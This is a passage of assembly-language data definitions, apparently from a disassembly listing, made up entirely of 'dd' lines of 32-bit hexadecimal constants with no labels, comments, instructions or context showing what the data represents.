		dd 22793876h, 65FAC0BCh, 98D35BC5h, 28BC532Bh, 0F788A16Ah
		dd 96EC4FE2h, 3216BE38h, 64972CEFh, 2FAB7FD8h, 0C23FCA0Dh
		dd 0D7A0E9E5h, 0BF18E5ADh, 0E7AA3D20h, 0BDEAD266h, 4D813726h
		dd 98CF06ACh, 0E00E2Bh,	85C95E23h, 0CBA27144h, 982EF8FCh
		dd 8A1670A7h, 1DCCB90Dh, 1768583Ah, 0E5101785h,	0C2CC4249h
		dd 0CCC24B23h, 30194C60h, 0D421ED40h, 20F28CF5h, 580611Fh
		dd 0BC8DC209h, 8B37F6A0h, 0FCFEEFBh, 0C71EB705h, 1E593DE1h
		dd 1E42FFDEh, 0B5276465h, 773F3B97h, 0E6810764h, 6B6C14C0h
		dd 4439E5B4h, 0F2C40475h, 0B17639F9h, 0D665822Ah, 53AF9D42h
		dd 5265A45Ah, 0F2F102EAh, 0D0CCD04Dh, 0BEC2C4A5h, 58A1470Eh
		dd 0DC6B5E47h, 0A4E5D450h, 554F09F2h, 46065D28h, 0F48F6D8Dh
		dd 0B6FA42FDh, 65E2DF4Ah, 0A9F20D58h, 0B8894E91h, 60641967h
		dd 0B10522BAh, 49199139h, 2371769Dh, 2A9DA057h,	302B9930h
		dd 0E62CBCA6h, 0EA5E74CEh, 0D65E515Bh, 0EB6F6E7Eh, 0C1AF9F56h
		dd 91F4836h, 6FCF3D6Eh,	0D0C43A94h, 0EEBF608h, 7C7E2315h
		dd 1BA87693h, 0BBC6E11Fh, 8BCBE20Fh, 78E13759h,	0DE2471CFh
		dd 5471A62Eh, 4F15F44Bh, 3F751ABEh, 94C53AA2h, 0C0C5A1FFh
		dd 2906AEEEh, 758995F2h, 178A146Eh, 90741273h, 2B997625h
		dd 0CAA02AA0h, 0B598A836h, 16EA2C93h, 1196C4F6h, 34EEA7E0h
		dd 0A16E466Fh, 5C30BCF5h, 0F8AE65D0h, 1AB48D03h, 0F4CA9DA0h
		dd 0D9B100Eh, 0B37229F1h, 6F1A74FAh, 6FC50FB4h,	0C0FA1EF8h
		dd 0F643CCDDh, 63915518h, 3B106FC7h, 2C3AF1A6h,	29531EA3h
		dd 6A19DC14h, 30ED7148h, 142AAEAEh, 62EC11CDh, 95DD5526h
		dd 846979AFh, 3EA33D13h, 0E9073761h, 6F6D100Bh,	0C99EB2EBh
		dd 4B44C6D9h, 217CEF41h, 3497E276h, 787136CCh, 0F5F63CA8h
		dd 0FB2DBCC9h, 0A253993Bh, 599CB999h, 0D88BABE9h, 0E5B764DAh
		dd 9E8D2270h, 5700E1C1h, 716F311Ch, 8FE1C8F6h, 74E6CAD3h
		dd 0D0022434h, 0F8937B8Bh, 93D3B766h, 1475B110h, 19E6B0D7h
		dd 0DE224D0Ch, 0E15D45C2h, 0F3310EB2h, 7342D66Eh, 0E6DB5F29h
		dd 37D3ADAh, 91D3121Ah,	0C1DC3A36h, 0E741C6F6h,	9D7A9DB9h
		dd 1ECB1052h, 0D7361089h, 0A394A49Dh, 282BB95Ch, 784D330Bh
		dd 0E2AACFA7h, 8BC8F182h, 6F79DE38h, 2099A651h,	0D94498A2h
		dd 6A3BCD5Bh, 977D1B73h, 9DEA6644h, 0F6A279F6h,	0D546D46h
		dd 8A48EF30h, 0D1F49378h, 21CE8F16h, 5FA3F677h,	3CA0B8C1h
		dd 88E1173Eh, 65FF6D84h, 6782419Ch, 9DE0529Ch, 998852B7h
		dd 33AAC06Eh, 0CE9B5958h, 5731A07h, 873F08CCh, 11D61ACBh
		dd 64AEFB90h, 0CEA555A2h, 7DB41422h, 39E35BE7h,	9DD22BD9h
		dd 0F5C43FCAh, 9965101Fh, 2DE2DB94h, 393004E1h,	0B9742827h
		dd 823E4571h, 0B7C168A7h, 8DCBC1ABh, 0C7459FA5h, 18F8C542h
		dd 0A2386D19h, 8DA2D00Dh, 0B94D15E9h, 820348DBh, 55FC13EAh
		dd 2D41BE5Ch, 5EAF505Ah, 426A0624h, 46C6D7Ch, 8EE253Dh
		dd 0D93906F0h, 2F087D3Fh, 56EEA9F7h, 0F7592CCh,	0EF3F2E0h
		dd 0EEBD8E8Fh, 70F43DA3h, 72E0F64h, 148D6FC4h, 0B9213681h
		dd 6568EE5Ch, 0BCD9B502h, 5750C1B3h, 3E4D8E52h,	9BC07835h
		dd 0E1EE4778h, 0CDB98C87h, 0FD01AD0Fh, 0FD33C586h, 79C2CA2Ah
		dd 35BA8243h, 0B8445E4Ah, 82C693A8h, 8F1D5A38h,	8A4A246Bh
		dd 0C53655Dh, 7A4AB3FDh, 96022244h, 838C7E1Fh, 0A1A99146h
		dd 0DE878412h, 28A72E37h, 1A9577C5h, 0DA7BF8F7h, 0F251B483h
		dd 0DC8278F2h, 0A2E3BD70h, 9D8E6063h, 0B7B38163h, 70F330E2h
		dd 677FB886h, 0E5FCEAA2h, 884A6A7Eh, 0CF491929h, 0F2F62B98h
		dd 866340B9h, 99817B3Ch, 0DBA77639h, 19725387h,	0A3CBEFE2h
		dd 38DC3A8Ah, 0C63BBA4Eh, 87B743F2h, 0B8346CF1h, 0DCBD6F85h
		dd 198AE242h, 761C8C87h, 97EB839h, 0A62E4C51h, 1EED2B58h
		dd 53DD2216h, 2F175632h, 0B1AB4E99h, 0B605EB5Dh, 9FE97C40h
		dd 97502CB4h, 0BAE2FF79h, 4E60F464h, 6A51816Fh,	0D4AA13F1h
		dd 1B6FAABh, 0D66C9794h, 4EF93F3Bh, 0F5D53EB3h,	28DFD66Eh
		dd 0F0152161h, 0D02CEA77h, 8BAF6673h, 0E8D9C37Ch, 2A10CFACh
		dd 99176732h, 0D7B333BDh, 7E11610Fh, 89CEE585h,	0BA2269BAh
		dd 0BFCB0F7Bh, 5748B578h, 0BDC5CE04h, 0BA952997h, 74E30824h
		dd 963E73F0h, 682354E4h
		dd 0FF5B7D3Dh, 40E9792Ah, 4945FE05h, 8907148Eh,	0BE7EA7C8h
		dd 0FDAACA01h, 0BDA101CCh, 977D9F1Bh, 6F473E24h, 0DC2F5346h
		dd 2368FA07h, 565F434Bh, 0E8175CF2h, 0A844DCC5h, 84D87C51h
		dd 0D44F5CF6h, 1F671561h, 39872C89h, 0E43BE194h, 0AF13C235h
		dd 0D49632F5h, 4D026FFh, 4E7F79D6h, 0A32EF852h,	0C2ED2364h
		dd 85FA79E2h, 0DF0BCC5Dh, 0C8B2AB86h, 0CB30BE6Eh, 0AA088307h
		dd 0BF4FC8D6h, 4136E62Eh, 0B098F427h, 43A13AC2h, 0E15A13ACh
		dd 0B86DF0BBh, 0C6EC8FA3h, 0CF4452Fh, 0CD5B6C8Ch, 1112D588h
		dd 5ECD56D9h, 7F40BEFCh, 0CD49A84Ah, 869D7589h,	74E720Eh
		dd 98666E19h, 0D621C679h, 8B30ACFAh, 69DCC43Ah,	869BD585h
		dd 0C2B3EB58h, 0B5B79F5Ah, 0C3ADCE72h, 73422AD5h, 6D61585Bh
		dd 0C25A1CFh, 0E4388F33h, 0B9999866h, 0B30CA5A1h, 32D0E7DAh
		dd 73F35986h, 54B0CBC8h, 0C5621CFEh, 0EA4561CFh, 4AFD0E7Fh
		dd 0E80AA4FAh, 0A7595490h, 21A62D48h, 914EB6A9h, 52434C5Ah
		dd 5AC29D73h, 6B8F434Ch, 8A43A80Ah, 0D15A13A6h,	9A2B4274h
		dd 0D345684Eh, 9D48AD09h, 69F30AD0h, 0C3DABC4Fh, 1CA692C9h
		dd 0B1E0B2B1h, 0EAD0D02h, 976E1416h, 0CBE5DD07h, 6C53E8C5h
		dd 0B1694AD9h, 62ECA07Eh, 4C515C7Eh, 8142229Ch,	0AE874399h
		dd 74298C4Ah, 13B46DEAh, 44CB41F9h, 978BD398h, 4CF1B1A4h
		dd 58248D7Fh, 0F1946807h, 0DB9C7C25h, 21C78B11h, 0AA56DC01h
		dd 9EF024D7h, 870A40FDh, 0CBB360CFh, 5A9B580Bh,	77C2BC81h
		dd 6265AF0h, 6AB415FEh,	0A9C99680h, 26053656h, 74DAC2CBh
		dd 846E2C8Bh, 0CA254779h, 0CFA5DC8Bh, 60A5F3ADh, 96AD9C0Fh
		dd 7FA3D774h, 0EA75B469h, 0E65BAB55h, 0E05C01A0h, 6FBD4EB2h
		dd 6C4499C0h, 0CBBE0933h, 0E6E3E20h, 0A248D842h, 178AE6F4h
		dd 29498DB4h, 23EDA4E8h, 6AF5242Fh, 3A422CC8h, 0F4E742CEh
		dd 0ACCDDE0Eh, 0CBC537DBh, 3118742Dh, 413D06CBh, 57FBE330h
		dd 80A47FF6h, 0EB628E4Bh, 0C558EF34h, 73EBB5F5h, 0A3E9E8DFh
		dd 275AC1D1h, 49F977DBh, 0A66D9F0Bh, 4B47C8B7h,	5B64AFFEh
		dd 2A981820h, 72BCADF7h, 5E3B1869h, 5F0E69D0h, 0D3529719h
		dd 514AF1BEh, 276B294Ch, 8506A16Ah, 0E58B3CAAh,	0C8BB7AD6h
		dd 40798AFBh, 0A95407A8h, 8D4447ABh, 74BC378h, 0D3EE2D3Ah
		dd 674546D1h, 5D74D176h, 0B619CE82h, 8FB141Dh, 0E133A7D8h
		dd 0A726FDDDh, 0F7A25978h, 1D72D88h, 2D2AA2D3h,	5D9E44B4h
		dd 0B315F309h, 79F92996h, 0F1A3E363h, 3129A064h, 42DE2974h
		dd 0C28D7008h, 9D4A93B6h, 0AD629052h, 809C170Bh, 0FD1BBA8h
		dd 0DB61AF83h, 3AC148BAh, 6C7DC9F1h, 0E74E8DBEh, 0B56A19C7h
		dd 4C38A76h, 65AD3B59h,	40DCE129h, 5D8611BDh, 1A0FB9FFh
		dd 97336111h, 0D7DC61C6h, 0A4FF462Ah, 0F3A22F47h, 0EFB8A9ECh
		dd 9E126504h, 7A922AD7h, 0AE83EC05h, 94A7B3C4h,	358CA0B7h
		dd 6B04EF3Ch, 8D053C4Ch, 61384689h, 0AD6C509Bh,	40A508DDh
		dd 65029A18h, 0F7656127h, 0B2FEE591h, 655C5A0Eh, 0C54CA8DBh
		dd 8B6FC140h, 37C1AB40h, 0D78B5702h, 230307DEh,	630A3B54h
		dd 8FE48B9Bh, 0A93A0766h, 977C278Eh, 0AF793308h, 8D6E0EE8h
		dd 2C2E207Eh, 2D29D6E6h, 0D64134E2h, 3E9EA516h,	146AF5D7h
		dd 0C9EBBD4Dh, 20914287h, 77F7944Ah, 0BB4ADB11h, 6EF8C5B0h
		dd 0CDA2970Dh, 5B935B56h, 77F40476h, 0F7E18AD6h, 195634F5h
		dd 68722509h, 0AD5E786Dh, 0D59FD2D6h, 0ECE3E2E2h, 0C2BC4D9h
		dd 0AADB10F8h, 93332B6Ch, 0A57C0FFDh, 3D8ED90Bh, 0D450C387h
		dd 0E64ED8A0h, 0D0C3CA26h, 0E9AC5873h, 2F17623Ch, 8221F9FAh
		dd 0BF2445CEh, 127FD8C2h, 0C7E7E7D6h, 555D270Ah, 2A6EC705h
		dd 9077A7F8h, 6F2316C1h, 6309B15Bh, 9C9E263Ch, 4C52138Ch
		dd 0D1970CE9h, 53A4E7A9h, 490C9F2Ch, 0AE27988Dh, 6B449DB7h
		dd 0FF31769Ch, 0B67B1C7Eh, 5826F1D1h, 5A58C8FBh, 0D4D1AA3Eh
		dd 0EC0C5B1Ch, 27BF18CCh, 0EFEBB441h, 0BC49E667h, 3EF7C3A0h
		dd 5256D844h, 0C11E84BEh, 0B74BA9A9h, 9929A1D0h, 7E094D0Eh
		dd 55036E54h, 0D831F3AEh, 0D8A0DE4Bh, 4C3D9CB6h, 99D6E7B9h
		dd 0B8C9B583h, 0E7E5A96Ah, 6776D517h, 0BD2BED83h, 0AAD1CC38h
		dd 4731BCC3h, 94A1DE0Ah, 22831FEBh, 0AB427797h,	59183220h
		dd 0B099AD85h, 0A9D31E5Bh, 0FFC87ACCh, 0A684996Eh, 7E6FF41Dh
		dd 6A06EF95h, 87944D5Eh, 4C79FFC2h, 3070C255h, 5A933FB0h
		dd 0F4CECFE3h, 2437E725h, 2AE3AC3h, 857BCEAFh, 0E24ED45Dh
		dd 0C7FF9C9Bh, 0ABC87499h, 31D8BB1Ch, 92C21E49h, 71D79B03h
		dd 1DB336AEh, 0FAE60E79h, 0EDCC2398h, 0F4EC3AADh, 87B7A47Fh
		dd 570E7E9Eh, 3F9B8726h, 0E9E85F27h, 0FDA9EC8Dh, 91FFC13Ch
		dd 57F4F421h, 0DB58CFAAh, 4350896h, 5C0C521Fh, 0BD568543h
		dd 0FDF9658Ch, 27042C15h, 3D98759Bh, 0FD9E916h,	0A099814Fh
		dd 2C0ADDFh, 9F99D667h,	7AAD0BAAh, 7435125h, 3A24E056h
		dd 4AD42105h, 4FCCE25Eh, 0B72A86D5h, 77D6DF23h,	8CB1FE99h
		dd 0C08244A9h, 0BA09466h, 0CA53A35Ch, 1E2B8CF8h, 8D5DA159h
		dd 264B07A0h, 0B75AAB4Ah, 14E752D0h, 1EE44D2Fh,	0EF289A29h
		dd 64FEF8B6h, 0FEEEC4F3h, 99C75F80h, 0AC99CF5Ch, 0A2B93355h
		dd 933F264Fh, 99ABA499h, 7DCBCDF0h, 4FC0993Dh, 94A2DDFDh
		dd 76ACE1EDh, 77A9D6AFh, 9DEAC82Eh, 1EF7809h, 549F9C6Ah
		dd 92550110h, 754EF663h, 0D5A6DFC6h, 5E2EC129h,	0D73209Fh
		dd 0CF99BB31h, 3F9B1CA6h, 58CBAFD1h, 13E511EBh,	155E101Dh
		dd 15180492h, 0B838E5C5h, 396AE59Ch, 7DD098BFh,	833F73A7h
		dd 67FEF92Bh, 52405402h, 0C9392516h, 0B8D78AE6h, 77C16AB5h
		dd 0EF2F05A8h, 5A97F055h, 0E2975FC1h, 0A3E281F3h, 865893AFh
		dd 0A09474EFh, 7CF8A5E3h, 7BE7E547h, 9371879Eh,	2961F38Ch
		dd 9DCD01F7h, 0B0EA4F3Dh, 0A381777Eh, 7A8B2F9Fh, 0AA2CBC7Fh
		dd 0AD28BBB4h, 47764F0Dh, 0ABB73196h, 0C7765731h, 171FEC0Ch
		dd 8CDFEB1Dh, 5E24E99Ah, 1E2B23E6h, 0BFCFDCAEh,	78B2894Dh
		dd 0A4FB99E4h, 4314BD4Eh, 978E14BFh, 1EA1603Dh,	6EEB2EF0h
		dd 416A5DFDh, 6FAD5EFEh, 0E46F5AD1h, 2D909FD6h,	0B46BFB3Bh
		dd 7B6F01BEh, 5659CD7Eh, 9AAA1AD9h, 0FF185AA8h,	5AFF70ABh
		dd 96DB54D5h, 848C2B50h, 1FD424C8h, 5F2A2531h, 0A57E6D03h
		dd 9D5C337Fh, 0A51FF37Fh, 866C82F3h, 68623E5Fh,	0E0EB55E9h
		dd 7F7A9D2Ah, 186F5A87h, 3FD6ABD7h, 53F5AEE9h, 2BAD64E3h
		dd 3DFAD57Ah, 0A377D6ADh, 97DEABA2h, 6B95BEB5h,	374106FDh
		dd 837EB56Ah, 6B4B5D6Bh, 66E7AC99h, 0D416E7AEh,	0E6FF72F3h
		dd 9B82B22Dh, 642B0565h, 35E3DF05h, 0F1F6704Dh,	904BA95Fh
		dd 3DB23E60h, 0B4A0C62h, 14AA3AF4h, 5E957CEFh, 0F0817E7Eh
		dd 0D22AC647h, 3111D057h, 0BEFD3886h, 7F13415Fh, 8E459A87h
		dd 0D0F5C3ADh, 22156571h, 75CB3205h, 3BD54BD1h,	50D7CDC5h
		dd 0E2019B6Eh, 0AD41DADDh, 0D2BFE571h, 5FCE66D8h, 979E0C61h
		dd 1E45F063h, 36C91F83h, 330E2017h, 0FF93C961h,	1CB5502Bh
		dd 0BF1A7914h, 0F99F58B4h, 0A43BDFBBh, 1A2FCF04h, 0A289712Ah
		dd 8C0F092Fh, 6F37FB26h, 0E0B165E2h, 0EE764A6Dh, 0B6FEE451h
		dd 9C2FFDCCh, 619951FBh, 3A7851FCh, 0F66BE7A5h,	0FF3D2A7Ch
		dd 0DBAB547Ch, 0CE5147EEh, 0DA8F5438h, 1E184B49h, 0C5DAE35Ch
		dd 0B7911C5Bh, 0BCB682Bh, 9973F89Ch, 0DA7B2D78h, 0CEE947A5h
		dd 7B47C1E9h, 0A25B72B5h
		dd 0FF71FE86h, 997C4202h, 0D6B4CD13h, 1FA43036h, 0F43637C3h
		dd 8E973EEDh, 0F80A0E90h, 0AF792F5Fh, 25F7BABDh, 0B1AB98EFh
		dd 0B3E176A3h, 9DBC4ED2h, 47A8E847h, 0F836267Bh, 35F48934h
		dd 0B6289FA3h, 0D5CD81EDh, 70753A89h, 846CC074h, 542C62F8h
		dd 1CCDF2A6h, 5C399CA1h, 7651E51Ah, 0DE5968BBh,	4EBFC677h
		dd 94C56551h, 19DF11A7h, 1C295636h, 494DD65Fh, 239FCF29h
		dd 82DABABh, 8B3FD1E9h,	0ED8E5EFFh, 0D8122971h,	98E5DCC5h
		dd 0B9D4CB3Bh, 347284B3h, 64864CEFh, 0EB9B0AB3h, 1E50343Eh
		dd 0EC2564CBh, 2CCA1662h, 5A56D130h, 85BC0E28h,	9D5B5697h
		dd 0ECEA3262h, 4E8AFB2Fh, 0E0B3F6E5h, 1188B44Ah, 0EE91B163h
		dd 0BBB09711h, 0F7640C49h, 8B1848A0h, 0A95F7487h, 0ECE83FCAh
		dd 0E23E9FEAh, 0B7AE2271h, 9E437DE9h, 54602407h, 91963FC9h
		dd 65D901AAh, 0B640643Fh, 248F7DBCh, 880FC38Ch,	510A6470h
		dd 5A07FE65h, 0EB933129h, 37E9521Bh, 799AB4C4h,	71603B07h
		dd 354124FDh, 860A1B19h, 86484864h, 19E16704h, 97859EAFh
		dd 3A28F645h, 5798BBDBh, 5CB60A1Dh, 0BE1CAA80h,	0BB577819h
		dd 2E82D019h, 176904F6h, 4E078153h, 1C2F02E8h, 9ADF20BDh
		dd 6081DAB1h, 16B63B33h, 584CA536h, 72D4BF79h, 0CE323A51h
		dd 0FE586651h, 374F0CE2h, 0AE6E1356h, 6E87180h,	81BEAB5Bh
		dd 6AF5282Fh, 2A9B854Ah, 0C23FA3Eh, 3AEB218Eh, 2DA87501h
		dd 0FD632DDAh, 8755B09Bh, 734DACFCh, 0FA3FC8D4h, 2C03220Bh
		dd 944E0A51h, 0D7984384h, 0D7CFC21Ah, 0F7A0E1B3h, 0F14916BCh
		dd 444600B3h, 80853F86h, 0BE1AF092h, 51B855B2h,	8E32E0E1h
		dd 0FCB1DF8Ch, 2AE38A42h, 78D79661h, 2B85D38Ah,	100994EEh
		dd 45A8EA89h, 289DFF99h, 0DDCDFA50h, 6D5CB6E0h,	0D795E350h
		dd 0F3EE8B31h, 5D466C2Dh, 0D75B9676h, 184DF83Fh, 0E7408C36h
		dd 2BFB7CB8h, 0E9F032CAh, 7CD17B02h, 1B826FBDh,	0B7E21FD2h
		dd 9DAA4276h, 985E9DF8h, 8566DB5Ah, 49272180h, 0AF770DF0h
		dd 0D2589F20h, 18C5092Bh, 0C40ED462h, 61897E4Fh, 3BC79F43h
		dd 991D3DDCh, 0E637D4DFh, 97C74467h, 89381E04h,	18ADD8A7h
		dd 5AF42758h, 8FAE88EFh, 0AD90F1E2h, 0D3788655h, 384F7E55h
		dd 246B94B8h, 0B5D7221Dh, 0F1A50794h, 0D24EC25Ah, 375B0F77h
		dd 235C4C5Bh, 0C2D60AEFh, 240C41A1h, 5A043BB4h,	0D9A5AA8Dh
		dd 75EA373Dh, 320A28EAh, 0A7356CA7h, 0FE3F2A20h, 82CE1ADAh
		dd 0AB15AAD3h, 0AC0AE06Eh, 0D5B00AE6h, 0BC69129Eh, 0AE2364A7h
		dd 2FB72530h, 0C723F61Bh, 0C9A36CA6h, 485C18D5h, 0F5D6B081h
		dd 682885Ch, 0C02377B1h, 50AD3A12h, 1665F316h, 2B446CECh
		dd 76D58C31h, 0F1AFE3BBh, 0A7459040h, 69FD69B4h, 0C3D86FA7h
		dd 95FDEC83h, 3E0CD93Fh, 0F272FCADh, 927997BEh,	14B7C0BBh
		dd 0F3281C4Dh, 6D6D1594h, 54012B91h, 52C2EC6Eh,	0C0F2B251h
		dd 171F03D4h, 0FD91F59Ah, 1B3236Ch, 4D6A819Ah, 0D6A07A4Ah
		dd 0FC78E8A2h, 0DF8C7F96h, 0CE81F589h, 0F2C9BE51h, 8EB1974Bh
		dd 906CD42Bh, 7811D75Ah, 1DC50DFDh, 0EE297A83h,	4556BF50h
		dd 28CDAF54h, 4C0D86FFh, 0E66EF6D8h, 6361EEA4h,	0FC1A9196h
		dd 0DE8DF5CCh, 0B369F1Fh, 4918B4AFh, 9C6ED295h,	0F99EF85Dh
		dd 0B96CE0A1h, 65E6CD4Ch, 4FAD37CAh, 0D0BEC7A6h, 1F291D32h
		dd 0D3744AD2h, 0AB1E6D46h, 0CC186C85h, 0CC866743h, 0E2BA866Ah
		dd 2AD3A07Dh, 0A167E55Ch, 8CBE60AFh, 962EAF90h,	0CC11DDE5h
		dd 0A443FC3Bh, 0B69A45DCh, 0EEDBF040h, 898224E0h, 0EDC08F92h
		dd 0A3983B5Eh, 5BBE41CAh, 35576D5h, 0A2DEF717h,	0B2616145h
		dd 82CF5E60h, 3F06D723h, 99CB5D73h, 0DEA1CAEBh,	0DA5D3ED4h
		dd 0B20D9B5Dh, 16D5A336h, 0ED5F794Fh, 1EFFDF08h, 0BDAD4EFFh
		dd 0D9BDB91Bh, 0DCD9BDB2h, 12E4EF5Eh, 0A3435FB6h, 9DF80B37h
		dd 46771134h, 95D6E600h, 0EFD3E90Dh, 8B004FBFh,	7D9FB5A6h
		dd 0CBC8C2C2h, 0CDE1C3E0h, 0EAE2CDE6h, 0D4225C76h, 0E15D1B5Ah
		dd 0CC70F924h, 0E1CDAD69h, 0E65264F7h, 7CC95C35h, 0D64964Bh
		dd 0D7A9B0B3h, 8309BEA4h, 94318B2Eh, 0D1223BE8h, 0B2EBE089h
		dd 15B6C211h, 5A766710h, 90AD35E3h, 890E5683h, 7A2CDCB7h
		dd 7E6AECBEh, 27B37D4Fh, 6A11AF1Eh, 341976D0h, 855D065Fh
		dd 0F41A98A0h, 96CA0C8Ch, 591AB041h, 0AD06A9D3h, 32E94190h
		dd 0C59F8BE8h, 3A5DCEE3h, 0FC3FC3BCh, 0D409C853h, 756B73BBh
		dd 48C1F116h, 0BEBFBDAh, 1AC49E9Dh, 0E2FEFBCh, 0A1E7897Ch
		dd 1EF6945Dh, 0D58A69DFh, 0BD47985Bh, 8A6D6835h, 5BE0A5C7h
		dd 0E8C354BAh, 16EF2933h, 0C53A8B86h, 0BA30F587h, 0EFE44A04h
		dd 0F1994AAAh, 4E0D5498h, 0C6EE3A65h, 7DD6A279h, 0B9BDC169h
		dd 8EA34BC0h, 484BB5ABh, 406CC898h, 97B6DE92h, 0E4252720h
		dd 72202B26h, 9E8B45BDh, 88533D66h, 4F3A3B37h, 80C7A142h
		dd 0EEF93B37h, 0E9E357B5h, 69DBBF11h, 0C38F9C09h, 50A9944Ch
		dd 1B17694Dh, 448BD432h, 43E23AF6h, 90EA8371h, 835476EFh
		dd 0B79CB886h, 0EB265509h, 29D45298h, 0E22F464Dh, 0F24D796Ah
		dd 10D46D05h, 0F27937A8h, 0CF3FB50Bh, 528EE2D5h, 0F0ED4C26h
		dd 5A850652h, 0EFEA9A5h, 50B158CFh, 7837160Bh, 4437E6F9h
		dd 7E1F1515h, 0B4FE8B86h, 5ACC0178h, 6C0B1FC4h,	7DF317D3h
		dd 590CF32Fh, 6C5EBAC5h, 0F3BEA36Ch, 1E5C5A66h,	0BCF7217Dh
		dd 0D45BCCFAh, 0FCDD4DBEh, 25397EC4h, 216C2B06h, 0BBE2B68Fh
		dd 0BCAC56E5h, 0B04FF225h, 53CB2F40h, 36D1F156h, 0E535E0CFh
		dd 798D7A25h, 95C83E49h, 97086158h, 47AC3B6Fh, 0A666E7B2h
		dd 741D77A8h, 0EEEB8844h, 71F8F0A5h, 5E423ADCh,	72981617h
		dd 0E92478DFh, 477E3A0Eh, 3D3F664Fh, 0F1144599h, 2C8635EBh
		dd 7936A451h, 8DAD4E0Fh, 2EF4711Eh, 69DD050Ch, 14BE4BC5h
		dd 0F5ECE8EFh, 0D48CEF88h, 7B5A3270h, 3164C259h, 0E8D0910Dh
		dd 3255E8E2h, 3B977D8h,	5BCE06E8h, 45247E2Fh, 1C42939Bh
		dd 0AAF52CC8h, 0EE646FFh, 0FA6DF1EBh, 26F6DE9Bh, 7A35BFFBh
		dd 9E72CBA9h, 67C45701h, 4C0679C9h, 0FB299F02h,	84578C19h
		dd 833CE494h, 0DC6C2C83h, 873EF33Ch, 55E33CE5h,	17E954C3h
		dd 17E9493h, 68E25546h,	4E594A34h, 0DDC58430h, 1485CAEFh
		dd 0C6A8160Fh, 0E52BBCB7h, 2CA48Ah, 0E3D6266Dh,	14A29CAEh
		dd 891EF797h, 9762DCF4h, 4C710F5Ah, 0D731EACh, 0F9252015h
		dd 1E8D13BAh, 0C000EFC1h, 6BB4C7Fh, 478348B7h, 2D0A31B0h
		dd 6A5C3E3Ch, 705E90FFh, 0E8D15793h, 0BAD45576h, 45D9457Ch
		dd 0DC515096h, 38B1E057h, 598F3FB4h, 458F29BCh,	53231576h
		dd 899EEC3Ah, 43563E2h,	907EECB9h, 0CA8E9E87h, 0F09F2514h
		dd 544693D0h, 4DC4D33Ch, 0C3FD13B7h, 10F050F6h,	0F93101CCh
		dd 684D2714h, 0E43874B1h, 5F37FC2Fh, 339F2E5h, 0F77C039Dh
		dd 55F50A46h, 780E2B03h, 2F7BA0F3h, 4C85AF15h, 81039AE6h
		dd 0DA7429B6h, 301F773Fh, 89C62A25h, 96B74407h,	9B9FF18Eh
		dd 8CE5D8F9h, 33EEB1B9h, 3F73A0E3h, 6B58D68Ah, 651F7773h
		dd 0E8DABD21h, 421C4F28h, 0AA748B77h, 0BE7D773Ah, 406E40F5h
		dd 0D555D686h, 29376B15h, 0D5568B52h, 3EC2950h,	0F9ACFD4Dh
		dd 43FA3A12h, 9655414Fh, 0DDA616E7h, 8BFEE6A5h,	3E7A658Ch
		dd 77E34BEEh, 0F479F08Dh, 16CFB4BDh, 3067F78Ah,	0B6A2A983h
		dd 66F79178h, 4EF11618h, 9B05B00Ch, 0E22948EEh,	91D67491h
		dd 45B3672Bh, 399D34FCh
		dd 51F4DB5Fh, 0A1117933h, 1D7A1FE2h, 22F42DE6h,	95364F68h
		dd 0BD967853h, 0DCE1DEA8h, 0A85B4987h, 5EAAF5BCh, 0F16F63Ch
		dd 0EB55B9E7h, 4A49E4BFh, 708E7158h, 0F78F3FEh,	0A1EF1E7Dh
		dd 86F927CFh, 819037A9h, 751D3C4Dh, 0FC18CDFEh,	697A0C52h
		dd 8750D30Bh, 39D8A5C4h, 6AA9C298h, 0A998DF11h,	178BEA5Fh
		dd 34CB17C8h, 4680E437h, 2EAAF025h, 8143C50Ch, 87E3B8A6h
		dd 0EBC3E424h, 266FF1C7h, 3E7B8AFDh, 39738BE1h,	7A795D89h
		dd 330A6DDFh, 27222099h, 3FE9A66Bh, 25F99855h, 7AF89D33h
		dd 77665578h, 670E686h,	3D6246Eh, 67A21B6Eh, 0FCB709FDh
		dd 7270D91Fh, 6C55CEF3h, 430DF236h, 9ABD6E5Dh, 0E219A457h
		dd 19E4AF5Fh, 21BF15CCh, 5CD12F28h, 0F24DC0A1h,	652F2FDDh
		dd 45793BCDh, 18B36BACh, 8566149Ah, 52749D29h, 47225709h
		dd 67F95659h, 35C275D8h, 0CA7A92E3h, 0A5E0EF35h, 9288D0C8h
		dd 496519D0h, 2770F5E1h, 0C55E11BEh, 43469F35h,	6B48CF20h
		dd 5CD40FE5h, 2AD464F6h, 58EF350Bh, 607B9935h, 5AB1775Ch
		dd 0DE9AD944h, 0DF70E465h, 61CCAF78h, 9484779Fh, 2FADCE7Dh
		dd 99DE641Dh, 0B726020Ah, 66912CA9h, 93E654BAh,	9BCB1EB3h
		dd 0C8BB2D37h, 0D7D333E4h, 993FE3FFh, 0ECB0E48Eh, 310F38A2h
		dd 5386065Fh, 0A3783FC6h, 1EBD9E1Ah, 0D1AF693Ch, 22268FA3h
		dd 11810396h, 0F59CC0Ah, 17B17776h, 0CEF7E4D9h,	58A5E466h
		dd 79B25303h, 62D57A6Ch, 0FAD0C951h, 25F8A849h,	79EB3925h
		dd 401D25h, 0F5EF5256h,	0CEEF10Eh, 0E02A8EBDh, 0ADCD8DF2h
		dd 46515EF7h, 1610E92Bh, 5FADCC9Ah, 0F23D9291h,	39C8E412h
		dd 0F225435h, 48C0BABDh, 6E8F4439h, 177171EAh, 0E6F8324Bh
		dd 83ADFC28h, 14A3A5B5h, 3C1081Eh, 0EB72D22Bh, 71D0B31Eh
		dd 0D12E9C42h, 4DE7EAF3h, 852F58B8h, 68DE29CEh,	39FA0765h
		dd 0D0C56678h, 880DB959h, 746F17A8h, 8F557C47h,	3A6D756Bh
		dd 0EA0E6150h, 977EF14Bh, 919E47A4h, 0BE5AF92Bh, 0AB07342Bh
		dd 601EF874h, 81977AA7h, 9A107A66h, 642FF9EBh, 0F92C8BBh
		dd 8D52870Eh, 51278770h, 4A17B14h, 55899DCEh, 609FA3F4h
		dd 0E5A2CD15h, 8B7EABC3h, 38CC748Bh, 0E1ABAE24h, 5D4590AFh
		dd 48409BE3h, 8E4204DFh, 368FA460h, 0BD8E7042h,	8C8CD197h
		dd 413E11A6h, 5FA393E2h, 289A7C42h, 57487E2Ch, 0ECEE5CBEh
		dd 0D7D9DCC3h, 0B7615CB0h, 8E231ED1h, 0A95AD62Dh, 0C7053DA6h
		dd 0E0767E23h, 8936B9AFh, 31C1F755h, 55C32F07h,	36ED3CAFh
		dd 47A4ED0h, 0FF996716h, 75F3BBFh, 587DD4D9h, 3897BD46h
